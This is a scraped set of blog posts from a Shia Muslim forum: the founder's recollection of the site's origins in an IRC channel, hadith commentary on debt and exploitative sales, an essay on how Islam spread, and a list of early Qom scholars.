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  • Ali

    The Story of ShiaChat.com - The IRC (#Shia) Days!

    By Ali

    [This will be a series of blog entries on the history of ShiaChat.com; how it was founded, major ups and down, politics and issues behind running such a site and of course, the drama!  I will also provide some feedback on development efforts, new features and future goals and objectives] Part 1 - The IRC (#Shia) Days! Sit children, gather around and let me speak to you of tales of times before there was ever high-speed Internet, Wi-Fi, YouTube or Facebook; a time when the Internet was a much different place and 15 year old me was still trying to make sense of it all.  In the 90s, the Internet was a very different place; no social media, no video streaming and downloading an image used to take anywhere from 5-10 minutes depending on how fast your 14.4k monster-sized dial up modem was.  Of course you also had to be lucky enough for your mom to have the common courtesy not to disconnect you when you’re in the middle of a session; that is if you were privileged enough to have Internet at home and not have to spend hours at school or libraries, or looking for AOL discs with 30 hour free trials..(Breathe... breathe... breathe) -  I digress. Back in 1998 when Google was still a little computer sitting in Larry Page and Sergey Brin’s basement, I was engaged in armchair jihadi-like debates with our Sunni brothers on an IRC channel called #Shia.  (Ok, a side note here for all you little pups.  This is not read as Hashtag Shia, the correct way of reading this is “Channel Shia”.  The “Hash tag” was a much cooler thing back in the day than the way you young’uns use it today). For those of you who don’t know what IRC was (or is... as it still exists), it stands for Internet Relay Chat, which are servers available that you could host chat rooms in and connect through a client.  It was like the Wild West where anyone can go and “found” their own channel (chat room), become an operator and reign down their god-like dictator powers upon the minions that were to join as member of their chat room.  Luckily, #Shia had already been established for a few years before by a couple of brothers I met from Toronto, Canada (Hussain A. and Mohammed H.).  Young and eager, I quickly rose up the ranks to become a moderator (@Ali) and the chatroom quickly became an important part of my adolescent years.  I learned everything I knew from that channel and met some of the most incredible people.  Needless to say, I spent hours and dedicated a good portion of my life on the chatroom; of course the alternate was school and work but that was just boring to a 15 year old. In the 90’s, creating a website was just starting to be cool so I volunteered to create a website for #Shia to advertise our services, who we are, what we do as well as have a list of moderators and administrators that have volunteered to maintain #Shia.  As a result, #Shia’s first website was hosted on a friend’s server under the URL http://786-110.co.uk/shia/ - yes, ShiaChat.com as a domain did not exist yet – was too expensive for my taste so we piggy backed on one of our member’s servers and domain name. The channel quickly became popular, so popular that we sometimes outnumbered our nemesis, #Islam.  As a result, our moderator team was growing as well and we needed a website with an application that would help us manage our chatroom in a more efficient style.  Being a global channel, it was very hard to do “shift transfers” and knowledge transfers between moderators as the typical nature of a chatroom is the fact that when a word is typed, its posted and its gone after a few seconds – this quickly became a pain point for us trying to maintain a list of offenders to keep an eye out for and have it all maintained in a historical, easily accessible way. A thought occurred to me.  Why not start a “forum” for the moderators to use?  The concept of “forums” or discussion boards was new to the Internet – it was the seed of what we call social media today.  The concept of having a chat-style discussion be forever hosted online and be available for everyone to view and respond to at anytime from anywhere was extremely well welcomed by the Internet users.  I don’t recall what software or service I initially used to set that forum up, but I did – with absolutely no knowledge that the forum I just setup was a tiny little acorn that would one day be the oak tree that is ShiaChat.com. [More to follow, Part 2..] So who here is still around from the good old #Shia IRC days?      
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  • Islamic Salvation

    A Hadith 'Banning' Foreclosure?

    By Islamic Salvation

    The modern economic system and the immoral capitalism that it can engender have given rise to preposterous inequality, greed-based wars and rampant poverty. The two engines for this exploitative system continue to be ‘interest’ and ‘gambling [stock speculation]’ both of which were outlawed by Islam in its quest to build a humane society. Take away both and most of the inflated ‘bubble’ will collapse hopefully to be replaced by a worth-based economy. A pillar of this system is ‘debt’, millions tethered to their credit cards, having to service the seemingly ever-increasing burden on them whilst employed in under-paid jobs. The wealth floods upwards instead of 'trickling down' making a few fat cats richer without having to sweat a single drop. Islam is more generous in its allowance for a grace period to the one struggling and even encouraging full cancellation of the debt as an act of charity. وَإِنْ كَانَ ذُو عُسْرَةٍ فَنَظِرَةٌ إِلَىٰ مَيْسَرَةٍ ۚ وَأَنْ تَصَدَّقُوا خَيْرٌ لَكُمْ ۖ إِنْ كُنْتُمْ تَعْلَمُونَ “And if the debtor is in straitened circumstances, then (let there be) postponement to (the time of) ease; and that you remit the debt as almsgiving would be better for you if you did but know” (2:280). Sharks give loans to under-privileged and desperate people whom they prey on and then auction off their homes [which was placed as warranty] the moment they default or even before. In under-developed countries, a wide-spread practice is for the house of the defaulter to be putatively sold off at a paltry price – equal to the loan and far below the real value of the house – but that is only as far as records on the books are concerned, everyone knows that in reality a sweet confidential deal has been agreed upon with a pre-selected buyer who pays a large commission for being given the privilege of first dibs. This Hadith which al-Muhsini places in the Bab on Usul al-Fiqh - as it indicates the Hujiyya [authority] of Khabar al-Wahid [solitary report] because Ibn Abi Umayr is citing Dharih’s narration as evidence for his action, reveals another even more important principle in Islam as taught by the Imam i.e. creditors should not demand and take away someone’s home for the sake of recovering a loan. A note of caution: Since the need to fulfill contractual obligations is stressed in Islam, and considering the technical nature of the subject, this narration should not be seen as a ruling [a field which is left to the Maraji who are the experts], however, we can still gleam from it a general spirit encouraged by Islam. [-/11] الفقيه: بإسناده عن ابراهيم بن هاشم ان محمد بن ابي عمير كان رجلا بزازا فذهب ماله وافتقره وكان له على رجل عشرة آلاف درهم فباع دارا له كان يسكنها بعشرة آلاف درهم وحمل المال إلى بابه فخرج اليه محمد بن ابي عمير فقال: ما هذا؟ فقال: هذا مالك الذي لك علي قال: ورثته؟ قال: لا قال: وهب لك؟ قال: لا قال: فهل هو ثمن ضيعة بعتها؟ قال: لا قال: فما هو؟ قال: بعت داري التي اسكنها لاقضي ديني فقال محمد بن ابي عمير: حدثني ذريح المحاربي عن ابي عبدالله عليه السلام انه قال: لا يخرج الرجل عن مسقط رأسه بالدين، ارفعها فلا حاجة لي فيها والله اني لمحتاج في وقتي هذا إلى درهم واحد وما يدخل ملكي منها درهم واحد [11/-] al-Faqih: Via his chain from Ibrahim b. Hashim that - Muhammad b. Abi Umayr was a cloth merchant whose wealth perished and he fell into indigence, he had however loaned out ten thousand silver coins to someone, so the one he owed sold his house which he used to live in at a price of ten thousand silver coins and carried the whole sum to his (Ibn Abi Umayr’s) door, so Muhammad b. Abi Umayr came out to him and said: what is this? he said: this is your money which was due upon me, he said: you have inherited it? he said: no, he said: it has been gifted to you? he said: no, he said: is it the price of a land you have sold? He said: no, he said: then what is it? he said: I sold my house in which I live in so that I can repay my debt, so Muhammad b. Abi Umayr said: Dharih al-Muharibi narrated to me from Abi Abdillah عليه السلام  that he said: "a man is not driven out of his place of residence (home) because of debt" take it away for I have no need of it, by Allah even though I do have a need of even a single silver coin at this time - I will not take a single one of them into my possession.
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  1. بسم الله الرحمن الرحيم

               

                Not only is Islam the second-largest religion in the world, but it is the world’s fastest growing religion. With globalization and the influx of Muslim immigration to the West, many people are reluctantly meeting Muslims for the first time. Fear of the unknown is common, but that fear is constantly perpetuated by images of violence in the Muslim world. As a visible minority with little political leverage, the Muslim community is an easy target for xenophobes, warmongers, and nationalists. The Muslim world is the needed bogeyman for the military-industrial complex, private security companies, and isolationist politicians to thrive. Rather than trying to understand the complex imperial and economic variables that cause violence in the Muslim world, it is both simpler and more cunning to resort to generalized arguments about Islam. This view, however, overlooks the many scientific and philosophical contributions Muslims have made to Western civilization. More importantly, it distorts the reality of the Muslim civilization’s mostly-tolerant history. The centuries-old narrative that Islam was “spread by the sword” is still popular today, and it causes Muslims living in the West to be looked at as a suspicious Trojan horse waiting to Islamize the world. It is therefore necessary for us to deconstruct this worldview. This paper will briefly explore the rise and expansion of Islam, and demonstrate that tolerance and plurality were founding principles of Islamic ethics.

                Since the early days of the Prophet Muhammad’s ministry, Islam’s relationship with non-Muslim communities has been notable. Shortly after the Muslim migration to Medina (then known as Yathrib) in 622 CE, the Prophet drafted the Constitution of Medina. This charter put an end to tribal infighting in Medina, created a new judicial system, guaranteed the mutual protection of Muslims and non-Muslims, and established a new “Community of Believers (mu’mineen)”. (Gil, 2004, pp. 21) This community would include the Jewish tribes of Medina, while still recognizing their distinct identity and laws. Although Bernard Lewis claims that the Constitution of Medina was a unilateral proclamation by Muhammad, (Lewis, 1993, pp. 22) Muslim sources generally referred to it as a pact between the Muslims and the Jews following the two pledges at `Aqaba. Furthermore, Wellhausen, a German orientalist, regarded this charter to be a multilateral agreement negotiated between all of the involved groups. (Gil, 2004, pp. 22)

                The Prophet Muhammad also ratified writs of protection to other communities. The Ashtiname of Muhammad, which was written by `Ali b. Abi Talib upon the commission of Muhammad, granted privileges to the Christian monks of St. Catherine’s Monastery in Egypt. (Ratliff, 2012, pp. 63) The document guarantees that Christians are not to be overtaxed, plundered, disturbed, or coerced into marriages. (Morrow, 2013) These covenants demonstrate that the Prophet pursued a peaceful and tolerant coexistence with other communities, and made his followers accountable to ethical principles of justice.            

    The Prophet Muhammad very plainly stressed the equality of all people, regardless of tribe, colour, class, or ethnicity. While rights differed among subgroups of society, the Islamic civilization held no concept of the natural subordination of individuals or groups. (Hamid, 1982, pp. 127) Conversion to Islam only required a simple declaration of faith, while becoming a member of the ancient Greek polity was only possible for Greek male property owners. (Hamid, 1982, pp. 127)  The egalitarianism of the Quranic message was attractive to many who sought social refuge from the caste system and other forms of subordination. (Eaton, 1992, pp. 117)

    The Caliphate’s medieval conquests, which occurred after the Prophet Muhammad, are the main source of agitation among those suspicious of Muslims. It should be noted that `Ali b. Abi Talib, who is considered the rightful successor to Muhammad by Shia Muslims, refrained from taking part in these conquests, despite being renowned as a great warrior. There should be no doubt that there were incidents that occurred during early expansion that are not in line with the teachings of the Prophet, especially during the ridda wars and the Battle of `Ulays. The Shia Imams consistently held the Caliphate accountable during mistrials and in moments of nepotism; and they struggled to establish social and economic justice in the Muslim world. But, the frame that the Islamic conquests were wholly or mostly negative is a Eurocentric view that does not account for other pieces of the puzzle.

                Many ancient texts document extensive Judeo-Christian support for the Muslim conquests of Byzantium and Persia. Jews in the Levant had expected a redeemer who would deliver them from the Roman occupiers. (Crone, 1977, pp. 3-6) The Romans had destroyed the Jerusalem Temple in 134 CE, outlawed Jews from living within ten miles of Jerusalem, disbanded the Jewish high court, taxed the Jews heavily, and persecuted them for siding with the Persians. This torment ignited a messianic fervour among medieval Jews, leading to a widespread anticipation of a saviour. One of the earliest non-Muslim references to the rise of Islam is the Doctrina Jacobi, a Greek Christian anti-Jewish polemical text written in 634 CE, just two years after the passing of Prophet Muhammad. The text describes “overjoyed” Jews celebrating the Muslim arrival in Byzantium. (Crone, 1977, pp. 3) Moreover, The Secrets of Simon ben Yohai, a Jewish apocalyptic text written between the seventh and eighth centuries CE, tells of the emergence of an Ishmaelite “prophet according to God’s will” who would save the Jewish people from their oppressors. (Crone, 1977, pp. 4-5)

    The Islamic conquest of the Levant would restore Jewish access to Jerusalem and establish a polity that would include Muslims, Christians, and Jews alike. The Pact of Umar II, a writ of protection extended by `Umar b. `Abd al-`Aziz in the seventh century, promised safety and the right to worship to Jews, Christians, and Zoroastrians in exchange for the payment of the poll tax (jizya). (Berger, 2006, pp. 88) While some orientalists have criticized the Pact’s prohibition on riding horses, Muslim clothing and building high structures, these stipulations may have been placed to prevent insurrections against Muslim garrisons, rather than to humiliate or subordinate non-Muslims.

                The Muslim treatment of non-Muslims was similarly commended by Near Eastern Christians. John bar Penkaye, an East Syriac Nestorian writer of the late seventh century, praised the Muslim overthrow of the Sassanid dynasty. In his Summary of World History, he writes, “We should not think of the advent [of the children of Hagar] as something ordinary, but as due to divine working. Before calling them, [God] had prepared them beforehand to hold Christians in honour, thus they also had a special commandment from God concerning our monastic station, that they should hold it in honour … God put victory in their hands.” (Pearse) This early Christian account documents the just conduct of Muslim rulers, likening it to divine intervention. Furthermore, after the Byzantines had seized control of Egypt and put the Coptic Patriarch Benjamin I of Alexandria into exile, the Muslim conquerors restored Benjamin I’s authority and brought order to the affairs of the Coptic Church.

    Many cultures were drawn to Islam’s magnetic social appeal. Indonesia, which is the country with the highest population of Muslims, encountered Arab merchants in the thirteenth century. Along with the arrival of Muslim commercialism, Islamic stories and symbols were introduced to the population through traditional wayang puppet shows. (Hamish, 2011, pp. 46-51) In the Indian subcontinent, Islam provided social mobility to lower castes, giving people equal rights and freeing them from total subservience to the Brahmans. The transformative power of Sufism was also attractive to many Hindus who sought ascetic, mystical brotherhoods. (Lapidus, 1988, pp. 363) Sufi and Shia saints continue to be revered by Hindu and Sikh poets in India.

    Although the Muslim empires had a tumultuous relationship with European Christians over the centuries, sizable Christian and Jewish communities with ancient origins continued to thrive in the Muslim world. Moorish and Ottoman confrontations with Christendom have propelled the misconception that Islam was spread by the sword. The fact is, however, that the conversion of the Near East to Islam occurred very gradually. By 800 CE, only 18% of Iraq’s population was Muslim. (Brown, 2016) Furthermore, Egypt, Spain, and the Levant did not attain a Muslim majority until the eleventh century. (Brown 2016) This means that the Muslims were a minority in the heartlands of their own civilization for hundreds of years. While poll taxes and other social pressures certainly promoted conversion to Islam, ancient churches, synagogues, temples, and other relics were maintained. Judeo-Christian populations even had rights to printing presses and European books in the Ottoman Empire – a privilege rarely granted to Muslims. (Brown, 2016) 14% of the Middle East remained Christian by 1910, with significant populations in Syria, Palestine and Egypt. (Brown, 2016)

    On the other hand, Christendom had a relatively poor record with minorities. Although Iberia was mostly Muslim in the fifteenth century, all Muslims were expelled or forced to convert to Christianity in 1526. (Brown, 2016) In 1609, 3-4% of Spain’s population consisted of Christian descendants of Muslims, who were also expelled under King Philip the Third. Anti-Jewish pogroms were also common in pre and post-Enlightenment European history. While there are many ancient Christian communities in the Muslim world, there are practically no ancient Muslim communities in the Christian world, despite Islam’s long history in Spain, Portugal, Sicily, and Eastern Europe.

                In recent decades, the Muslim world’s relationship with its non-Muslim minority communities has suffered. Colonialism, neo-imperialism, military dictatorships, and poor economies have sometimes caused the alienation and scapegoating of ethnic and religious minorities in the Muslim world. In June 2014, the so-called Islamic State of Iraq and the Levant (ISIL), which rose out of the destabilization of Iraq and Syria, routed Christians out of Mosul. This genocide marked the end of over a thousand years of continuous Muslim-Christian coexistence in the region. While ISIL’s actions are a black mark on modern Islamic history, ISIL’s main military and ideological opponents are other Muslims in the region and around the world. This paper demonstrates that normative Islam seeks unity under common ethical principles. It is vital for Muslims to revive an equitable, pluralistic and tolerant worldview, not just because diversity is strength, but because it is the ethos of our civilization.           

     

    Bibliography

    Berger, Julia Phillips., and Sue Parker. Gerson. Teaching Jewish History. Springfield, NJ: A.R.E. Pub., 2006. Print.

    Pearse, John Bar Penkaye, Summary of World History (Rish Melle) (2010). N.p., n.d. Web. 9 July 2016.

    Crone, Patricia, and Michael Cook. Hagarism: The Making of the Islamic World. Cambridge: Cambridge UP, 1977. Print.

    Http://www.youtube.com/channel/UC4L23Z_agh1qeV_odQfV6Vg. "Dr. Jonathan AC Brown - The Message of Peace Spread by the Sword - UMaine IAW 2016." YouTube. YouTube, 2016. Web. 9 July 2016.

    Eaton, Richard Maxwell. The Rise of Islam and the Bengal Frontier, 1204-1760. Berkeley: U of California, 1993. Print.

    Gil, Moshe, and David Strassler. Jews in Islamic Countries in the Middle Ages. Leiden: Brill, 2004. Print.

    Harnish, David D., and Anne K. Rasmussen. Divine Inspirations: Music and Islam in Indonesia. New York: Oxford UP, 2011. Print.

    Lapidus, Ira M. A History of Islamic Societies. Cambridge: Cambridge UP, 1988. Print

    Lewis, Bernard. The Arabs in History. Oxford: Oxford UP, 1993. Print.

    Morrow, John A. The Covenants of the Prophet Muhammad with the Christians of the World. N.p.: n.p., n.d. Print.

    Ratliff, Brandie, and Helen C. Evans. Byzantium and Islam: Age of Transition, 7th-9th Century. New York, NY: Metropolitan Museum of Art, 2012. Print.

    ʻInāyat, Ḥamīd. Modern Islamic Political Thought. Austin: U of Texas, 1982. Print.

  2. Islamic Salvation
    Latest Entry

     المسلم أخو المسلم لا يظلمه ولا يخذله، إن كان عندك معروف، فعد به على أخيك

    وإلا فلا تزده هلاكا إلى هلاكه

    The Muslim is a brother of a Muslim, he is not unfair with him nor does he cheat him,

    If you want to make him a good turn then hand it over to your brother, and if not then do not contribute to his financial destruction [The Messenger of God]

     

    The Real Wolves of Wall-Street Pt. II

      « ويبايع المضطر – وقد نهى رسول الله صلى الله عليه وآله عن بيع المضطر » 

    << deals are conducted with the one in distress, while the messenger of Allah prohibited transaction with the one in distress >>

    Al-Tusi narrates from al-Sadiq a similar narration:

    يأتي على الناس زمان عضوض يعضّ كلّ امرئ على ما في يديه ، و ينسى الفضل ، و قد قال تعالى و لا تنسوا الفضل بينكم ثمّ ينبري في ذلك الزمان أقوام يبايعون المضطرين اولئك هم شرار الناس

    There will come upon people a severe age wherein every man will cling to what is in his hand, and forget giving, while Allah the Exalted said: “and do not forget liberality between yourselves” (2:237), then will arise in that age groups who will conduct business deals with the distressed and they are the worst of the people.

     

    Distress Deals

    Some scholars have tried to interpret مضطر which I have rendered as ‘distressed’ to be مكره that is ‘compelled’ [to buy or sell]. They claim that it is this latter (compelling someone to buy or sell something) which is forbidden because all transactions must be entered in with full consent. They point out that even if someone is in distress it is still his decision to engage in the transaction. 

    But I consider this to be a limited definition restricting the range of the narration’s applicability, rather, I would say that the مضطر in the context of the society which these narrations describe and the stinginess they attribute to the wealthy - should  be taken to mean those whom economical forces (completely out of their hands) exploit and make desperate enough to do anything including allowing the sharks to come out and take advantage of them.

    Distress sale is particularly associated with not being able to cover mortgage payments and foreclosures. There are some who are always on the lookout for such deals. In fact they openly brag about finding such deals:

    “The main reason to buy a distressed property is the price. In most cases, a foreclosure or short sale will be priced below market value, the valuation of the asset is artificial because it was not sold under open and competitive market conditions. From the buyer's perspective, however, property that is sold in a distressed sale can present an opportunity to purchase the asset at a substantial discount to market prices”.

    Another example which is relevant to our modern age and would fall under the spirit of this Hadith is Big Pharma. Many of these global corporations hike up the prices of important and life-saving drugs to developing countries which cannot afford them. We have psychopathic CEO’s who claim to care only about the balance sheet and answerable only to the shareholders with no shred of mercy in their hearts, while the sick have no option but to pay up.

    This interpretation is backed up by narrations such as the one found below:

    إسماعيل بن عبد الله القرشي قال: أتى إلى أبي عبد الله عليه السلام رجل فقال له: يا ابن رسول الله رأيت في منامي كأني خارج من مدينة الكوفة في موضع أعرفه وكان شبحا من خشب أو رجلا منحوتا من خشب على فرس من خشب يلوح بسيفه وأنا أشاهده، فزعا مرعوبا فقال له عليه السلام: أنت رجل تريد اغتيال رجل في معيشته، فاتق الله الذي خلقك ثم يميتك فقال الرجل: أشهد أنك قد أوتيت علما واستنبطه من معدنه اخبرك يا ابن رسول الله عما فسرت لي إن رجلا من جيراني جاءني وعرض علي ضيعته فهممت أن أملكها بوكس كثير لما عرفت أنه ليس لها طالب غيري فقال أبو عبد الله عليه السلام: وصاحبك يتولانا ويبرأ عدونا ؟ فقال: نعم يا ابن رسول الله رجل جيد البصيرة مستحكم الدين وأنا تائب إلى الله عز وجل وإليك مما هممت به ونويته فأخبرني يا ابن رسول الله لو كان ناصبا حل لي اغتياله فقال: أد الأمانة لمن ائتمنك وأراد منك النصيحة ولو إلى قاتل الحسين عليه السلام

    Ismail b. Abdallah al-Qarashi who said: a man came to Abi Abdillah عليه السلام and said: O the son of the messenger of Allah I saw in a dream as though I am outside the town of Kufa in a place which I know, and there was something like an apparition made of wood or a man carved out of wood on a wooden horse brandishing his sword while I look on in fright and terror, so he عليه السلام said to him: you are a someone who wants to cheat a man out of his livelihood so be fearful of Allah who created you and will make you to die, so the man said: I bear witness that you have been given knowledge and have derived it from its real source (treasure-mine), I will inform you O the son of the messenger of Allah the background to that which you have interpreted for me, a man from among my neighbors came to me and offered me his walled-up land so I wished to own it at a very low price since I knew that there isn’t anyone else who wants to buy it, so Abu Abdillah عليه السلام said to him: is your fellow someone who follows us and disassociates from our enemies? He said: yes - O the son of the messenger of Allah, he has good insight and follows the religion, and I repent to Allah Mighty and Majestic and to you from what I wanted and had intended to do, but inform me O the son of the messenger of Allah - if he was a Nasibi [a hater of the Ahl al-Bayt] could I have cheated him in this way? He said: return back the trust to whomsoever has placed his confidence in you and expects good-counsel from you - even if he be killer of al-Husayn!    

    --> Some of the people of Ilm in Ta’wil of Ru’ya (scholars learned in dream interpretation) claim that the Imam’s interpretation is wholly consistent with their methods. They interpret wooden things in dreams as having association to Nifaq (hypocrisy) because of the verse from Surat al-Munafiqun “as though they were pieces of wood propped up” (63:4). The sword as an allegory for his evil intention. That this intention harbors some financial aspect can be inferred from the horse which symbolizes “the world” and “livelihood” because it is in of itself a steady source of income and the potential to earn.

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    [This will be a series of blog entries on the history of ShiaChat.com; how it was founded, major ups and down, politics and issues behind running such a site and of course, the drama!  I will also provide some feedback on development efforts, new features and future goals and objectives]

    Part 1 - The IRC (#Shia) Days!

    Sit children, gather around and let me speak to you of tales of times before there was ever high-speed Internet, Wi-Fi, YouTube or Facebook; a time when the Internet was a much different place and 15 year old me was still trying to make sense of it all. 

    In the 90s, the Internet was a very different place; no social media, no video streaming and downloading an image used to take anywhere from 5-10 minutes depending on how fast your 14.4k monster-sized dial up modem was.  Of course you also had to be lucky enough for your mom to have the common courtesy not to disconnect you when you’re in the middle of a session; that is if you were privileged enough to have Internet at home and not have to spend hours at school or libraries, or looking for AOL discs with 30 hour free trials..(Breathe... breathe... breathe) -  I digress.

    Back in 1998 when Google was still a little computer sitting in Larry Page and Sergey Brin’s basement, I was engaged in armchair jihadi-like debates with our Sunni brothers on an IRC channel called #Shia.  (Ok, a side note here for all you little pups.  This is not read as Hashtag Shia, the correct way of reading this is “Channel Shia”.  The “Hash tag” was a much cooler thing back in the day than the way you young’uns use it today).

    For those of you who don’t know what IRC was (or is... as it still exists), it stands for Internet Relay Chat, which are servers available that you could host chat rooms in and connect through a client.  It was like the Wild West where anyone can go and “found” their own channel (chat room), become an operator and reign down their god-like dictator powers upon the minions that were to join as member of their chat room.  Luckily, #Shia had already been established for a few years before by a couple of brothers I met from Toronto, Canada (Hussain A. and Mohammed H.).  Young and eager, I quickly rose up the ranks to become a moderator (@Ali) and the chatroom quickly became an important part of my adolescent years.  I learned everything I knew from that channel and met some of the most incredible people.  Needless to say, I spent hours and dedicated a good portion of my life on the chatroom; of course the alternate was school and work but that was just boring to a 15 year old.

    In the 90’s, creating a website was just starting to be cool so I volunteered to create a website for #Shia to advertise our services, who we are, what we do as well as have a list of moderators and administrators that have volunteered to maintain #Shia.  As a result, #Shia’s first website was hosted on a friend’s server under the URL http://786-110.co.uk/shia/ - yes, ShiaChat.com as a domain did not exist yet – was too expensive for my taste so we piggy backed on one of our member’s servers and domain name.

    The channel quickly became popular, so popular that we sometimes outnumbered our nemesis, #Islam.  As a result, our moderator team was growing as well and we needed a website with an application that would help us manage our chatroom in a more efficient style.  Being a global channel, it was very hard to do “shift transfers” and knowledge transfers between moderators as the typical nature of a chatroom is the fact that when a word is typed, its posted and its gone after a few seconds – this quickly became a pain point for us trying to maintain a list of offenders to keep an eye out for and have it all maintained in a historical, easily accessible way.

    A thought occurred to me.  Why not start a “forum” for the moderators to use?  The concept of “forums” or discussion boards was new to the Internet – it was the seed of what we call social media today.  The concept of having a chat-style discussion be forever hosted online and be available for everyone to view and respond to at anytime from anywhere was extremely well welcomed by the Internet users.  I don’t recall what software or service I initially used to set that forum up, but I did – with absolutely no knowledge that the forum I just setup was a tiny little acorn that would one day be the oak tree that is ShiaChat.com.

    [More to follow, Part 2..]

    So who here is still around from the good old #Shia IRC days?

     

     

     

  3. Original full post: http://www.iqraonline.net/the-ashari-family-ii-history-of-imami-shii-theology-4/

     

    In this post we will continue with the list of scholars from the Ash’ari family who have been categorized into the second and third group, post-migration to Qom.

    Second Group

    1. Zakariyyah bin Idris bin ‘Abdullah al-Ash’ari: Considered a companion of Imam Sadiq, Imam Kadhim and Imam Ridha.
    2. Zakariyyah bin Adam bin ‘Abdullah al-Ash’ari: Considered a companion of Imam Sadiq, Imam Kadhim, Imam Ridha and Imam Jawwad, but his narrations are all from Imam Ridha and Imam Jawwad. He was an important figure, to the extent that Imam Ridha (s) had informed one of his companions to refer to Zakariyyah for any religious inquiries.
    3. Sahl bin Yasa’ bin ‘Abdullah al-Ash’ari: A narrator of hadih from Imam Kadhim and Ridha. We have 11 narrations from him in our four-primary works of hadith.
    4. Isma’il bin ‘Isa bin ‘Abdullah al-Ash’ari: His name appears in certain narrations where he is narrating directly from Imam Kadhim and Imam Ridha.
    5. Marzban bin ‘Imran bin ‘Abdullah al-Ash’ari: Companion of Imam Kadhim and Imam Ridha.
    6. Idris bin ‘Isa bin ‘Abdullah al-Ash’ari: Companion of Imam Ridha.
    7. Ishaq bin Adam bin ‘Abdullah al-Ash’ari: Companion of Imam Ridha.
    8. Isma’il bin Adam bin ‘Abdullah al-Ash’ari: He most probably lived during the life of Imam Kadhim. Even though we have no records to show that he narrated anything directly from any of the Imams, he has still been described as an important scholar of Qom by Najashi.
    9. Muhammad bin ‘Isa bin ‘Abdullah al-Ash’ari: He had heard narrations from Imam Ridha and also narrates from Imam Jawwad.
    10. Sa’d bin Sa’d bin Malik bin Ahwas al-Ash’ari: From the companions of Imam Kadhim, Ridha and Jawwad. His name appears in 74 chains of narrations in the four-primary books.
    11. Isma’il bin Sa’d bin Sa’d bin Ahwas al-Ash’ari: Companion of Imam Kadhim and Ridha. 20 of his narrations from Imam Ridha appear in the four-primary books.
    12. Hamzah bin Yasa’ bin Yasa’ bin ‘Abdullah al-Ash’ari: Companion of Imam Sadiq and Kadhim and possibly had met Imam Ridha as well.
    13. ‘Imran bin Muhammad bin ‘Imran bin ‘Abdullah al-Ash’ari: Companion of Imam Ridha.
    14. Muhammad bin Sahl bin Yasa’ bin ‘Abdullah al-Ash’ari: Companion of Imam Ridha and Imam Jawwad. His name appears in 380 narrations in the four-primary works.

    There are about 30 more names that can be added to this list. This list brings us to the end of the middle of the 3rdcentury Hijri. During this time period, Kufa had already severely declined, and while there is activity happening in Baghdad amongst the Shi’as, it is nothing compared to what had taken place in Kufa in the previous century. All narrators in this list were travelling to different cities to meet the Imams (depending on where the Imams were) and then coming back to Qom and spreading their narrations.

    Third Group

    This list of forthcoming Ash’ari scholars begins from around the beginning of the 3rd century Hijri. These scholars were naturally influenced by the teachings of the previous two groups.

    1. Ahmad bin Ishaq bin ‘Abdullah al-Ash’ari: Companion of Imam Jawwad, Imam Hadi and Imam ‘Askari. He was known as Wafid ul-Qomiyyeen (the envoy of the Qomis) implying that he would travel often to meet the Imams with questions from Qom, and bring back what he had learned and heard. He was one of those individuals who had seen Imam Mahdi (s) and is deemed very reliable.
    2. ‘Ali bin Ishaq bin ‘Abdullah al-Ash’ari: It appears he did not directly narrate from any of the Imams, but he did possess his own book of hadith.
    3. Ahmad bin Muhammad bin ‘Isa bin ‘Abdullah al-Ash’ari: Companion of Imam Ridha, Jawwad and Hadi. He was one of the greatest scholars of Qom and is recognized as the main authority during his time. His name appears in 2290 narrations in the four-primary works. He is known to have been strict when it came to accepting narrations and exiling individuals who he deemed problematic. He will be discussed in greater lengthy in future posts.
    4. Muhammad bin Ishaq bin Ya’qub bin ‘Abdullah al-Ash’ari: Companion of Imam Jawwad, and had various books.
    5. Muhammad bin Rayyan bin Salt al-Ash’ari: Companion of Imam Jawwad.
    6. ‘Ali bin Rayyan bin Salt al-Ash’ari: Companion of Imam Hadi and Imam ‘Askari. He was one of the financial-agents of Imam Hadi in Qom, and his name appears in the chains of 27 narrations.
    7. Sa’d bin ‘Abdullah bin Abi Khalf al-Ash’ari: His name appears in the chains of 1142 narrations in the four-primary books. There is confusion over whether he was a companion of Imam ‘Askari or someone who did not narrate from any of the Imams.
    8. Ahmad bin Muhammad bin Abi Bakr bin ‘Abdullah al-Ash’ari: He has also been recognized as Ahmad bin Abi Zahir Musa Abu Ja’far al-Ash’ari. He is someone who did not narrate from the Imams directly, but was one of the great scholars of Qom.
    9. Adam bin Ishaq bin Adam bin ‘Abadullah al-Ash’ari: His name appears in 13 narrations in the four-primary books.
    10. ‘Abdullah bin Muhammad bin ‘Isa bin ‘Abdullah al-Ash’ari: His name appears in 110 narrations in the four-primary books.
    11. ‘Ali bin Ahmad bin Ishaq bin ‘Abdullah al-Ash’ari: His name appears in 2 narrations in the four-primary works.
    12. Muhammad bin ‘Ali bin Mahbub al-Ash’ari: His name appears in 1118 narrations in the four-primary books and Najashi considered him a senior scholar in Qom.

    With this, we end the list of some of the most important names that left their mark in the history of Qom, and who helped shape religious discourse in the city. With the third group, we see an increase in scholarly activity within Qom, partly due to the Kufan heritage being transferred over in extensive amounts through important Kufan personalities like Ibrahim bin Hashim. With the first two groups, the trend more so for these scholars of Qom was to either meet the Imams directly, or visit Kufa to take narrations from teachers that were still present there. However, in the third century Hijri, and with the emergence of the third group, it was the physical transfer of Kufa’s heritage – such as books and manuscripts of various works – that played a huge role in giving Qom its authoritative position. This is not to say that some of the scholars were no longer traveling to meet the Imams, but rather this had slowly diminished, and after the occultation of the 12th Imam, no longer had any meaning.

    Over here we should also point out that with the presence of the Ash’ari family in Qom, which was in essence a Shi’i presence, many individuals from the lineage of Ali (s) and Fatima (s) also migrated and settled in Qom. The Ash’aris were known to have welcomed them into the city and gave protection to those who were merely seeking refuge in Qom. The work Muntaqalah al-Talibiyyah[1] of Ibn Tabataba (d. end of 5th century Hijri), records the name of thirty such individual who migrated to Qom with their families, many of these were either scholars of hadith themselves, or their children became scholars of hadith. Some of these individuals include Hamza bin Muhammad bin Ahmad bin Ja’far bin Muhammad bin Zayd (who Shaykh Saduq narrates a lot from), Hamza bin ‘Abdillah bin Hasan, ‘Ali bin Hamza, and Abu al-Fadhl Muhammad bin ‘Ali.

